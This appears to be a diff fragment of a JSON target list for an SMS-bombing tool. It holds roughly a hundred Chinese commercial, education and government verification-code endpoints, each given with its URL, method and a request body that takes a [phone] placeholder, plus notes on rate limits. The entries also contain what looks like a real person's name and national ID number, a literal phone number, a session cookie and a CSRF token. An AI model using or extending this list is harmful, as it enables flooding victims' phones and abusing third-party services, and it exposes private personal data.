"data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "微爱app",
|
||||||
|
"url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "返利app(24小时限制)",
|
||||||
|
"url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "酷安(一天只能一次)",
|
||||||
|
"url": "https://account.coolapk.com/auth/login?type=mobile",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "广东高考报名web",
|
||||||
|
"url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": "[phone]"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "广东教育翔云",
|
||||||
|
"url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "迪卡侬",
|
||||||
|
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"countryCode": "CN",
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "股海网",
|
||||||
|
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "LLL的个人blog",
|
||||||
|
"url": "http://www.lll.plus/sendCode/",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]",
|
||||||
|
"forgetPwd": ""
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "企米子",
|
||||||
|
"url": "https://www.xcxui.com/index/register/getcode.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "蒲公英",
|
||||||
|
"url": "https://id.pgyer.com/user/getRegisterCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]",
|
||||||
|
"callingCode": "86",
|
||||||
|
"mode": "tel"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "百卓优采",
|
||||||
|
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"captcha": ""
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "云背篓",
|
||||||
|
"url": "https://brand.yunbeilou.com/index.php/smssend",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"v": "yes"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "PHP中文网",
|
||||||
|
"url": "https://m.php.cn/account/phone_code.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "12321",
|
||||||
|
"url": "http://dhba.12321.cn/api/verifycode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "Testin众测",
|
||||||
|
"url": "https://www.ztestin.com/users/send/vercode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"type": "register",
|
||||||
|
"voice": "0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "海尔",
|
||||||
|
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"account": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "飞猫云",
|
||||||
|
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"pcode": "+86",
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "华觉数字化平台",
|
||||||
|
"url": "https://end.huajuetech.com/api/sendCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"email": "null",
|
||||||
|
"verfy_method": "mobile"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "问政江西",
|
||||||
|
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "河南智慧党建",
|
||||||
|
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"verifytype": "1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "陆陆陆云安全",
|
||||||
|
"url": "https://cloud.666idc.com/index/login/sendsms.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"mobile_pre": "86"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "网易",
|
||||||
|
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "码云社",
|
||||||
|
"url": "https://www.codeseeding.com/loginUser/toSend",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "人才山东",
|
||||||
|
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"personcall": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "水利部",
|
||||||
|
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "七联大学",
|
||||||
|
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phoneNumber": "[phone]",
|
||||||
|
"sendType": "0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "闪德资讯",
|
||||||
|
"url": "https://www.0101ssd.com/user/sendmsg",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"event": "register"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "江苏省名师空中课堂",
|
||||||
|
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"type": "1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "CSFF短片",
|
||||||
|
"url": "https://csff.cutv.com/wapi/users/sendregcode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"telphone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "广西人社厅",
|
||||||
|
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"aae005": "[phone]",
|
||||||
|
"aac003": "刘萌萌",
|
||||||
|
"aac002": "210212198506035924",
|
||||||
|
"notkeyflag": "1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "麦克赛尔数字映像",
|
||||||
|
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"action": "send",
|
||||||
|
"txtMember_Name": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "宝提分",
|
||||||
|
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "选型系统",
|
||||||
|
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"cmd": "GetTelVerifyCode",
|
||||||
|
"Tel": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "千里马网信科技",
|
||||||
|
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tips": "1",
|
||||||
|
"shouji": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "保定云",
|
||||||
|
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "欢动游戏",
|
||||||
|
"url": "http://www.gm5.com/auth/registerSms.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "迈威",
|
||||||
|
"url": "https://www.maiwe.com.cn/index/sendcode.html",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "憨鼠社区",
|
||||||
|
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "天鹅到家",
|
||||||
|
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "诺达筑工",
|
||||||
|
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "栋才智慧",
|
||||||
|
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "工伤预防网上培训平台",
|
||||||
|
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "济宁专技",
|
||||||
|
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"sendType": "4"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "宁夏伊地地质工程有限公司",
|
||||||
|
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "青春大学说",
|
||||||
|
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone_number": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "兴业利达电子招投标平台",
|
||||||
|
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"username": "[phone]",
|
||||||
|
"type": "regUser",
|
||||||
|
"mobile": "PC"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "火象",
|
||||||
|
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"temp": "1",
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "中科教育",
|
||||||
|
"url": "https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "聚题库",
|
||||||
|
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "苏州高新区教育局",
|
||||||
|
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "专业技术人员继续教育平台",
|
||||||
|
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "泰安专技",
|
||||||
|
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"sendType": "4"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "漏洞银行",
|
||||||
|
"url": "https://www.bugbank.cn/api/verifymobile",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "中国劳动保障新闻网",
|
||||||
|
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "广东省心理学会",
|
||||||
|
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "费耘网",
|
||||||
|
"url": "https://www.feeclouds.com/homepage/register/send",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "语雀web",
|
||||||
|
"url": "https://www.yuque.com/api/validation_codes",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"referer": "https://www.yuque.com/register"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"target": "[phone]",
|
||||||
|
"action": "register",
|
||||||
|
"channel": "sms"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "甜糖app",
|
||||||
|
"url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "网心云APP",
|
||||||
|
"url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"protocolVersion": "301",
|
||||||
|
"sequenceNo": "1000001",
|
||||||
|
"platformVersion": "10",
|
||||||
|
"isCompressed": "0",
|
||||||
|
"appid": "22017",
|
||||||
|
"clientVersion": "3.15.1",
|
||||||
|
"peerID": "00000000000000000000000000000000",
|
||||||
|
"appName": "ANDROID-com.onethingcloud.android",
|
||||||
|
"sdkVersion": "204500",
|
||||||
|
"devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
|
||||||
|
"netWorkType": "WIFI",
|
||||||
|
"providerName": "NONE",
|
||||||
|
"deviceModel": "M2102J2SC",
|
||||||
|
"deviceName": "Xiaomi M2102j2sc",
|
||||||
|
"OSVersion": "11",
|
||||||
|
"creditkey": "",
|
||||||
|
"hl": "zh-CN",
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"register": "0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "乐教乐学",
|
||||||
|
"url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "云杏HIS系统(九明珠)",
|
||||||
|
"url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": "{'lxdh': [phone]}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "秘塔写作",
|
||||||
|
"url": "https://xiezuocat.com/verify?type=signup",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "86-[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "CNMO 网站",
|
||||||
|
"url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "DR钻戒web",
|
||||||
|
"url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "有享云商web",
|
||||||
|
"url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "研才教育app",
|
||||||
|
"url": "https://mall.yancais.com/api/sms/send?phone=[phone]",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "成卓科技",
|
||||||
|
"url": "https://callphone.hnczkj.cn/app_api/json/sendSms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"product": "biyingdianhua_ios",
|
||||||
|
"key": "mwoe093fwef"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "加密电话",
|
||||||
|
"url": "https://m.4009991000.com/valNumQry.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"appType": "1",
|
||||||
|
"app_id": "5555",
|
||||||
|
"mobileNo": "[phone]",
|
||||||
|
"sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
|
||||||
|
"src": "1",
|
||||||
|
"v": "4.9.2",
|
||||||
|
"validType": "3"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "快应用美抽",
|
||||||
|
"url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "小叶子app",
|
||||||
|
"url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "牙e在线",
|
||||||
|
"url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02×tamp=[timestamp]",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": "mobile=[phone]&smsType=02×tamp=[timestamp]"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "某数图表web(存疑)",
|
||||||
|
"url": "https://dycharts.com/vis/auth/send_signin_sms_code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phoneNo": "13809213237"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "17k小说网app",
|
||||||
|
"url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "汇看点快应用",
|
||||||
|
"url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "核桃编程app",
|
||||||
|
"url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "永城至敏",
|
||||||
|
"url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "金中网",
|
||||||
|
"url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "透明售房网(可能只能一次第二次会弹验证码)",
|
||||||
|
"url": "http://www.tmsf.com/mem/WebMemLoginAction_saveMemMobileCodeImg.jspx?usermobile=[phone]&imagecode=",
|
||||||
|
"method": "GET",
|
||||||
|
"header": {
|
||||||
|
"Referer": "http://www.tmsf.com/esf/esfnSearch_communityListUpgrade.htm",
|
||||||
|
"X-Requested-With": "XMLHttpRequest"
|
||||||
|
},
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "巨人网络",
|
||||||
|
"url": "https://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=https%3A%2F%2Flogin.ztgame.com%2F&cururl=http%3A%2F%2Freg.ztgame.com%2F&phone=[phone]&mpcode=&pwd=&tname=&idcard=",
|
||||||
|
"method": "GET",
|
||||||
|
"header": {
|
||||||
|
"Referer": "https://reg.ztgame.com/",
|
||||||
|
"X-Requested-With": "XMLHttpRequest"
|
||||||
|
},
|
||||||
|
"data": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "人人文库",
|
||||||
|
"url": "https://www.renrendoc.com/Reg.aspx/GetUserSMSCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"Content-Type": "application/json; charset=UTF-8",
|
||||||
|
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
|
||||||
|
"X-Requested-With": "XMLHttpRequest"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"userMobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "塞优教育",
|
||||||
|
"url": "http://www.cuour.org/edu_cloud/sms_send",
|
||||||
|
"method": "POST",
|
||||||
|
"header": {
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||||
|
"Cookie": "PHPSESSID=20pi9ugtg1tboucsjcc8ute6t9",
|
||||||
|
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
|
||||||
|
"X-CSRF-Token": "7--b2sxDUBm-Jd2yf_5KYrf7Hw2w_M6BDhSJq-H2GjY",
|
||||||
|
"X-Requested-With": "XMLHttpRequest"
|
||||||
|
},
|
||||||
|
"data": {
|
||||||
|
"to": "[phone]",
|
||||||
|
"sms_type": "sms_registration"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
0
debug/__init__.py
Normal file
0
debug/__init__.py
